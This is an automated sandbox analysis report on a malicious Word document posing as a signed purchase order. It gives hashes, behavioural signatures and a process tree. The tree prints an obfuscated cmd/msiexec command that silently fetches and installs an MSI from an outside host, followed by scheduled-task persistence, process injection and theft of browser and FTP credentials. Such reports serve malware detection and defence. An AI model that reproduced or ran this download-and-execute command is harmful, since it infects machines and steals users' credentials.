Analysis
- max time kernel
129s - max time network
99s - platform
windows7_x64 - resource
win7v200430 - submitted
25/06/2020, 13:07
Static task
static1
Behavioral task
behavioral1
Sample
Signed_POno20200625.doc
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Signed_POno20200625.doc
Resource
win10
windows10_x64
0 signatures
0 seconds
General
- Target Signed_POno20200625.doc
- Size 114KB
- Sample200625-6dfewmgth2
- SHA256 759ef75e133383af768b2be302dc256ad4e6720fb64eda70af76954dd29caf73
- MD5 02e8eab1f3b002f6b975101ede2b64a6
- SHA1 db10b294e9df891244ea98ce4bacdea115647813
- SHA512 7abf2c8f0cf9467b57057aa94222667f89ab2c8be28b5009dcb19fa70eb25fc5ed3b222f3cf715c99de5df2aafb5fab02d032b94ca0f27d8ac3a915ef015a813
- MD5 SHA1 SHA512
Malware Config
Signatures
- Executes dropped EXE 3 IoCs
pid Process 1620 MSI80E.tmp 1984 MSI80E.tmp 1056 MSI80E.tmp - Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIF.tmp msiexec.exe File created C:\Windows\Installer\20500.ipi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI79F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI80E.tmp msiexec.exe File opened for modification C:\Windows\Installer\20500.ipi msiexec.exe - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2024 schtasks.exe - Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1664 272 cmd.exe 23 - Suspicious use of WriteProcessMemory 33 IoCs
description pid Process procid_target PID 272 wrote to memory of 1664 272 WINWORD.EXE 24 PID 272 wrote to memory of 1664 272 WINWORD.EXE 24 PID 272 wrote to memory of 1664 272 WINWORD.EXE 24 PID 1664 wrote to memory of 1228 1664 cmd.exe 26 PID 1664 wrote to memory of 1228 1664 cmd.exe 26 PID 1664 wrote to memory of 1228 1664 cmd.exe 26 PID 1664 wrote to memory of 1228 1664 cmd.exe 26 PID 1664 wrote to memory of 1228 1664 cmd.exe 26 PID 1824 wrote to memory of 1620 1824 msiexec.exe 31 PID 1824 wrote to memory of 1620 1824 msiexec.exe 31 PID 1824 wrote to memory of 1620 1824 msiexec.exe 31 PID 1824 wrote to memory of 1620 1824 msiexec.exe 31 PID 1620 wrote to memory of 2024 1620 MSI80E.tmp 33 PID 1620 wrote to memory of 2024 1620 MSI80E.tmp 33 PID 1620 wrote to memory of 2024 1620 MSI80E.tmp 33 PID 1620 wrote to memory of 2024 1620 MSI80E.tmp 33 PID 1620 wrote to memory of 1984 1620 MSI80E.tmp 35 PID 1620 wrote to memory of 1984 1620 MSI80E.tmp 35 PID 1620 wrote to memory of 1984 1620 MSI80E.tmp 35 PID 1620 wrote to memory of 1984 1620 MSI80E.tmp 35 PID 1620 wrote to memory of 1056 1620 MSI80E.tmp 36 PID 1620 wrote to memory of 1056 1620 MSI80E.tmp 36 PID 1620 wrote to memory of 1056 1620 MSI80E.tmp 36 PID 1620 wrote to memory of 1056 1620 MSI80E.tmp 36 PID 1620 wrote to memory of 1056 1620 MSI80E.tmp 36 PID 1620 wrote to memory of 1056 1620 MSI80E.tmp 36 PID 1620 wrote to memory of 1056 1620 MSI80E.tmp 36 PID 1620 wrote to memory of 1056 1620 MSI80E.tmp 36 PID 1620 wrote to memory of 1056 1620 MSI80E.tmp 36 PID 1056 wrote to memory of 112 1056 MSI80E.tmp 38 PID 1056 wrote to memory of 112 1056 MSI80E.tmp 38 PID 1056 wrote to memory of 112 1056 MSI80E.tmp 38 PID 1056 wrote to memory of 112 1056 MSI80E.tmp 38 - Use of msiexec (install) with remote resource 1 IoCs
pid Process 1228 msiexec.exe - Checks for installed software on the system 1 TTPs 10 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName MSI80E.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName MSI80E.tmp Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall MSI80E.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName MSI80E.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364\DisplayName MSI80E.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName MSI80E.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName MSI80E.tmp Key enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall MSI80E.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName MSI80E.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName MSI80E.tmp - Enumerates connected drives 3 TTPs
- Suspicious use of AdjustPrivilegeToken 79 IoCs
description pid Process Token: SeShutdownPrivilege 1228 msiexec.exe Token: SeIncreaseQuotaPrivilege 1228 msiexec.exe Token: SeRestorePrivilege 1824 msiexec.exe Token: SeTakeOwnershipPrivilege 1824 msiexec.exe Token: SeSecurityPrivilege 1824 msiexec.exe Token: SeCreateTokenPrivilege 1228 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1228 msiexec.exe Token: SeLockMemoryPrivilege 1228 msiexec.exe Token: SeIncreaseQuotaPrivilege 1228 msiexec.exe Token: SeMachineAccountPrivilege 1228 msiexec.exe Token: SeTcbPrivilege 1228 msiexec.exe Token: SeSecurityPrivilege 1228 msiexec.exe Token: SeTakeOwnershipPrivilege 1228 msiexec.exe Token: SeLoadDriverPrivilege 1228 msiexec.exe Token: SeSystemProfilePrivilege 1228 msiexec.exe Token: SeSystemtimePrivilege 1228 msiexec.exe Token: SeProfSingleProcessPrivilege 1228 msiexec.exe Token: SeIncBasePriorityPrivilege 1228 msiexec.exe Token: SeCreatePagefilePrivilege 1228 msiexec.exe Token: SeCreatePermanentPrivilege 1228 msiexec.exe Token: SeBackupPrivilege 1228 msiexec.exe Token: SeRestorePrivilege 1228 msiexec.exe Token: SeShutdownPrivilege 1228 msiexec.exe Token: SeDebugPrivilege 1228 msiexec.exe Token: SeAuditPrivilege 1228 msiexec.exe Token: SeSystemEnvironmentPrivilege 1228 msiexec.exe Token: SeChangeNotifyPrivilege 1228 msiexec.exe Token: SeRemoteShutdownPrivilege 1228 msiexec.exe Token: SeUndockPrivilege 1228 msiexec.exe Token: SeSyncAgentPrivilege 1228 msiexec.exe Token: SeEnableDelegationPrivilege 1228 msiexec.exe Token: SeManageVolumePrivilege 1228 msiexec.exe Token: SeImpersonatePrivilege 1228 msiexec.exe Token: SeCreateGlobalPrivilege 1228 msiexec.exe Token: SeRestorePrivilege 1824 msiexec.exe Token: SeTakeOwnershipPrivilege 1824 msiexec.exe Token: SeRestorePrivilege 1824 msiexec.exe Token: SeTakeOwnershipPrivilege 1824 msiexec.exe Token: SeRestorePrivilege 1824 msiexec.exe Token: SeTakeOwnershipPrivilege 1824 msiexec.exe Token: SeRestorePrivilege 1824 msiexec.exe Token: SeTakeOwnershipPrivilege 1824 msiexec.exe Token: SeDebugPrivilege 1620 MSI80E.tmp Token: SeRestorePrivilege 1824 msiexec.exe Token: SeTakeOwnershipPrivilege 1824 msiexec.exe Token: SeRestorePrivilege 1824 msiexec.exe Token: SeTakeOwnershipPrivilege 1824 msiexec.exe Token: SeImpersonatePrivilege 1056 MSI80E.tmp Token: SeTcbPrivilege 1056 MSI80E.tmp Token: SeChangeNotifyPrivilege 1056 MSI80E.tmp Token: SeCreateTokenPrivilege 1056 MSI80E.tmp Token: SeBackupPrivilege 1056 MSI80E.tmp Token: SeRestorePrivilege 1056 MSI80E.tmp Token: SeIncreaseQuotaPrivilege 1056 MSI80E.tmp Token: SeAssignPrimaryTokenPrivilege 1056 MSI80E.tmp Token: SeImpersonatePrivilege 1056 MSI80E.tmp Token: SeTcbPrivilege 1056 MSI80E.tmp Token: SeChangeNotifyPrivilege 1056 MSI80E.tmp Token: SeCreateTokenPrivilege 1056 MSI80E.tmp Token: SeBackupPrivilege 1056 MSI80E.tmp Token: SeRestorePrivilege 1056 MSI80E.tmp Token: SeIncreaseQuotaPrivilege 1056 MSI80E.tmp Token: SeAssignPrimaryTokenPrivilege 1056 MSI80E.tmp Token: SeImpersonatePrivilege 1056 MSI80E.tmp Token: SeTcbPrivilege 1056 MSI80E.tmp Token: SeChangeNotifyPrivilege 1056 MSI80E.tmp Token: SeCreateTokenPrivilege 1056 MSI80E.tmp Token: SeBackupPrivilege 1056 MSI80E.tmp Token: SeRestorePrivilege 1056 MSI80E.tmp Token: SeIncreaseQuotaPrivilege 1056 MSI80E.tmp Token: SeAssignPrimaryTokenPrivilege 1056 MSI80E.tmp Token: SeImpersonatePrivilege 1056 MSI80E.tmp Token: SeTcbPrivilege 1056 MSI80E.tmp Token: SeChangeNotifyPrivilege 1056 MSI80E.tmp Token: SeCreateTokenPrivilege 1056 MSI80E.tmp Token: SeBackupPrivilege 1056 MSI80E.tmp Token: SeRestorePrivilege 1056 MSI80E.tmp Token: SeIncreaseQuotaPrivilege 1056 MSI80E.tmp Token: SeAssignPrimaryTokenPrivilege 1056 MSI80E.tmp - Blacklisted process makes network request 1 IoCs
flow pid Process 4 1824 msiexec.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1824 msiexec.exe 1824 msiexec.exe 1620 MSI80E.tmp 1620 MSI80E.tmp 1620 MSI80E.tmp - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1620 set thread context of 1056 1620 MSI80E.tmp 36 - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe - Office loads VBA resources, possible macro or embedded object present
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 272 WINWORD.EXE - Suspicious use of SetWindowsHookEx 16 IoCs
pid Process 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE 272 WINWORD.EXE - Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1228 msiexec.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Signed_POno20200625.doc"1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:272 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ms^iE^x^ec /i http://quttnerttatert.com/SvS/8704510.msi /qn2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\system32\msiexec.exemsiExec /i http://quttnerttatert.com/SvS/8704510.msi /qn3⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1228
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Modifies data under HKEY_USERS
PID:1824 -
C:\Windows\Installer\MSI80E.tmp"C:\Windows\Installer\MSI80E.tmp"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetThreadContext
PID:1620 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HPfHKopaSlLv" /XML "C:\Users\Admin\AppData\Local\Temp\tmp96A3.tmp"3⤵
- Creates scheduled task(s)
PID:2024
-
-
C:\Windows\Installer\MSI80E.tmp"{path}"3⤵
- Executes dropped EXE
PID:1984
-
-
C:\Windows\Installer\MSI80E.tmp"{path}"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Checks for installed software on the system
- Suspicious use of AdjustPrivilegeToken
PID:1056 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\177295.bat" "C:\Windows\Installer\MSI80E.tmp" "4⤵PID:112
-
-
-